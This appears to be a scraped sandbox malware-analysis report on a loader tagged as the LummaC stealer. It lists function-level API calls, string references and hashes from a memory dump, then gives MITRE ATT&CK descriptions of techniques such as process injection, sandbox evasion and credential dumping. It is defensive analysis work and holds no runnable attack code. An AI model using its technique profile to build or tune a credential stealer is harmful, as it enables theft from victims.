Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 7d4c757ea3a464b3a963d4a469f8ebf957d3ac58f28d695d8d5df2e0e2495475
Instruction ID: 14d39a9ab50cc3a571dd58fe6eee6e30883d8b83c0b016550e3fd4498ac8ec21
Opcode Fuzzy Hash: 7d4c757ea3a464b3a963d4a469f8ebf957d3ac58f28d695d8d5df2e0e2495475
Instruction Fuzzy Hash: 1A01D672E402018FDB05CEA9ECD05BB77A2FB8D305B18C47AE652C7346DA388812CB21

Function 027966D0 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 027966F6

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c324a6c6398744d8b05028bfcef1d510e3f3ecd3332962f2294b3a4ed947ed37
Instruction ID: 4784489254a13aef274d3edac954cdab0ac830baad857a4677740ad3ae1f49be
Opcode Fuzzy Hash: c324a6c6398744d8b05028bfcef1d510e3f3ecd3332962f2294b3a4ed947ed37
Instruction Fuzzy Hash: 7311CE349087828FCF15CF38D5547A9BFB26F5A300F08869CC58AA3391D736A824CB52

Function 0279CC10 Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 0279CC65

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a658fa7ef1f89cfcf89ed9d70d492461504160e374136d9bc74ffbdcb05bd1a6
Instruction ID: df577cd58cbdf9bb78816976ff4bf7e443c6ad740303202f8a8910428fcb2166
Opcode Fuzzy Hash: a658fa7ef1f89cfcf89ed9d70d492461504160e374136d9bc74ffbdcb05bd1a6
Instruction Fuzzy Hash: CFF0CDB2994211EBC2159F60BC0DE5737B9EFC6B62F015C64E00196100EB30E820CAB2

Function 02791726 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0279176D

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 9497f7020dc7e0d36358b6d697d9b3bca346cfcc3c0b399501716b06a0efd320
Instruction ID: 17be28d47cb7ef10b2110712ef71de41e64578727b72c18c52f7c6decb2d4bd7
Opcode Fuzzy Hash: 9497f7020dc7e0d36358b6d697d9b3bca346cfcc3c0b399501716b06a0efd320
Instruction Fuzzy Hash: A5F0B7B46093418FE394DF29C5A871ABBF5EBC4314F04C91DE48987385DBB99949CF82

Function 0278DEF0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0278DF39

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 7816fb8594557e57478275ac648d0ac7c999ccf3dbcd14f6643d85c8697949a1
Instruction ID: fd5f5aa32f5d18c05d6abbb4d1c2c09b9d17bee25695b3250d388c9e8c69fd31
Opcode Fuzzy Hash: 7816fb8594557e57478275ac648d0ac7c999ccf3dbcd14f6643d85c8697949a1
Instruction Fuzzy Hash: 20F0D4705093018FE344DF25C1A871BBBE2BBC8308F11890CE0A54B395C7B6AA4ACF82

Function 0279B120 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,02772F77), ref: 0279B140

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: afb5b25ea65e4c81ec4c20c802ea90355596e6219494ff2d1c0e68cd524f50bc
Instruction ID: 14e7fb10470f34be1eb961dc18eebbeab2f81ae91f5d9b5b31f1773fc9ada816
Opcode Fuzzy Hash: afb5b25ea65e4c81ec4c20c802ea90355596e6219494ff2d1c0e68cd524f50bc
Instruction Fuzzy Hash: 81D0C931855532EBCA512E18B819BCB3B55DF49321F074C91A4046A164D634ECA18AD1

Function 0279B100 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,8B0C2C00,027688DE,69681CE6), ref: 0279B110

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 76de3b7200a417ea502f9f5f41936a632ce645986d6729fbb5bf47f03cc9652d
Instruction ID: ce814b9ecc637fcd98aeb5f92073d97b84b54317d5af90e57a19cac56ee77afd
Opcode Fuzzy Hash: 76de3b7200a417ea502f9f5f41936a632ce645986d6729fbb5bf47f03cc9652d
Instruction Fuzzy Hash: 88C09231885221EBCA166B14FC08FCB7F69EF49360F028892B008672B1C770BC92CAD4

Non-executed Functions

Function 02792590 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 027925A0
GetClipboardData.USER32 ref: 027925BB
GlobalLock.KERNEL32 ref: 027925DA
GetWindowLongW.USER32 ref: 02792637
GlobalUnlock.KERNEL32 ref: 027926E1
CloseClipboard.USER32 ref: 027926EC

Strings

?, xrefs: 02792684

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: ?
API String ID: 2832541153-1684325040
Opcode ID: 2996ed3333a5b181bf58c307a326b4e80819484650204e7bc67f732005de928a
Instruction ID: db31c76b90cc5b77e342b278bb13b527cc73d90760178863943c7662307b41aa
Opcode Fuzzy Hash: 2996ed3333a5b181bf58c307a326b4e80819484650204e7bc67f732005de928a
Instruction Fuzzy Hash: 63417A7140C3819ED302BF78A49836EBFE1AB91214F05496DE8C49B683C7B9859CC793

Function 02786C53 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 256COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 02786D66
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 02786DE4

Strings

9R9P, xrefs: 02786CC6
U>@<, xrefs: 02786C8E
Q^, xrefs: 02786CD2

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 9R9P$Q^$U>@<
API String ID: 237503144-3277335807
Opcode ID: e8f924790e02679246918ec70021d42d8f365549f752f20f8565e4db90b97eae
Instruction ID: 81bec8990c2067b87849d7895cb8030e4b95c3c836e30f7230a2c43f62c809e7
Opcode Fuzzy Hash: e8f924790e02679246918ec70021d42d8f365549f752f20f8565e4db90b97eae
Instruction Fuzzy Hash: 89812376A883009FD7289F14D88076FF7E6EBC4724F198A2DEA8A57341D770D855CB82

Function 02783400 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 027834FB
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 02783598

Strings

&, xrefs: 027835E7

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: &
API String ID: 237503144-3835491774
Opcode ID: 97e715922e14e8f3226e70922f3ce1c7c9c6912cfc8acfccaadf9c27c41a78b2
Instruction ID: 4a59aad55914c61b819aab0b2f56c9b727de09af6c1aa5d3739915f02f701d20
Opcode Fuzzy Hash: 97e715922e14e8f3226e70922f3ce1c7c9c6912cfc8acfccaadf9c27c41a78b2
Instruction Fuzzy Hash: 475131716493949FE320CF69C88075FBBE6EBC4310F04C92DF9A85B281D7B599098B93

Function 02782D70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 02782E17

Strings

eb, xrefs: 02782DB5
zx, xrefs: 02782D81

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: eb$zx
API String ID: 237503144-2522594701
Opcode ID: dfa2fd21f49425769aaccfa8bf23f00c3d5d2a8da5bf3e19475c96e40c04ca54
Instruction ID: 0a830d6352acfc36113330e3147d824a6455debf8bdb15bd181469a0ba95b0f6
Opcode Fuzzy Hash: dfa2fd21f49425769aaccfa8bf23f00c3d5d2a8da5bf3e19475c96e40c04ca54
Instruction Fuzzy Hash: 6621367160D3118FD318CF25C89275FBBE2EBC6700F18C83CE5915B296CA75950ACB96

Function 02791E96 Relevance: 77.1, APIs: 1, Strings: 43, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 02791F2E

Strings

b, xrefs: 02791EBA
Q, xrefs: 02792017
g, xrefs: 02791FA7
>, xrefs: 02792007
~, xrefs: 0279205F
\, xrefs: 02791F6F
j, xrefs: 027920BF
a, xrefs: 02791EC9
H, xrefs: 02791FCF
f, xrefs: 02791ECE
9, xrefs: 02791FE7
h, xrefs: 027920CF
k, xrefs: 02791FC7
r, xrefs: 02791FFF
n, xrefs: 027920DF
,, xrefs: 02791F47
d, xrefs: 027920AF
6, xrefs: 02792027
F, xrefs: 02791F9F
v, xrefs: 0279201F
D, xrefs: 02791FAF
`, xrefs: 02791EC4
k, xrefs: 02791FB7
L, xrefs: 02791FEF
0, xrefs: 027921A7
z, xrefs: 0279203F
>, xrefs: 02791FF7
5, xrefs: 02791F97
N, xrefs: 02791FDF
@, xrefs: 02791F8F
X, xrefs: 02791F4F
b, xrefs: 0279207F
f, xrefs: 0279209F
^, xrefs: 02791F5F
l, xrefs: 027920EF
x, xrefs: 0279204F
t, xrefs: 0279202F
`, xrefs: 0279208F
l, xrefs: 02791EB0
J, xrefs: 02791FBF
B, xrefs: 02791F7F
|, xrefs: 0279206F
p, xrefs: 0279200F

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: AllocString
String ID: ,$0$5$6$9$>$>$@$B$D$F$H$J$L$N$Q$X$\$^$`$`$a$b$b$d$f$f$g$h$j$k$k$l$l$n$p$r$t$v$x$z$|$~
API String ID: 2525500382-2493123460
Opcode ID: 322bfb60814e7cf410d3ef98d1dceddc15a9685968c0012298d6c120d77efdfc
Instruction ID: d0bbf1022792954a88cb333b8322d40e0b27c3bb5f53e3687fbf2730578df08d
Opcode Fuzzy Hash: 322bfb60814e7cf410d3ef98d1dceddc15a9685968c0012298d6c120d77efdfc
Instruction Fuzzy Hash: 0191A22050D7C1CDE332C738885878BBFD26BA3228F084A9DD5E85B2D2C7BA4559C767

Function 02791337 Relevance: 47.4, APIs: 2, Strings: 25, Instructions: 102COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 02791341
VariantInit.OLEAUT32 ref: 02791354

Strings

@, xrefs: 0279137B
2, xrefs: 027913C6
B, xrefs: 02791371
H, xrefs: 027913A3
N, xrefs: 02791385
-, xrefs: 027913D0
2, xrefs: 027913DA
\, xrefs: 027913DF
=, xrefs: 02791376
], xrefs: 027913E4
T, xrefs: 027913B7
R, xrefs: 027913C1
5, xrefs: 0279136C
P, xrefs: 027913CB
$, xrefs: 0279139E
), xrefs: 027913BC
L, xrefs: 0279138F
^, xrefs: 027913D5
2, xrefs: 02791380
0, xrefs: 02791394
J, xrefs: 02791399
#, xrefs: 0279138A
5, xrefs: 027913A8
Z, xrefs: 027913E9
V, xrefs: 027913AD

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: Variant$ClearInit
String ID: #$$$)$-$0$2$2$2$5$5$=$@$B$H$J$L$N$P$R$T$V$Z$\$]$^
API String ID: 2610073882-2983549690
Opcode ID: b205f4a4d40d4e6e44e10bc4dfc8f9c2ad1e01b58c0f9e087d76705f33dca991
Instruction ID: a0a8bc66703ad382627d827b98765d3cb44d61f786446865351592880bd5809e
Opcode Fuzzy Hash: b205f4a4d40d4e6e44e10bc4dfc8f9c2ad1e01b58c0f9e087d76705f33dca991
Instruction Fuzzy Hash: B841497150C3C08AE366DB28C49838FBFE16BE6308F48595DE4D85B382D7B98509CB97

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report R3nz_Loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

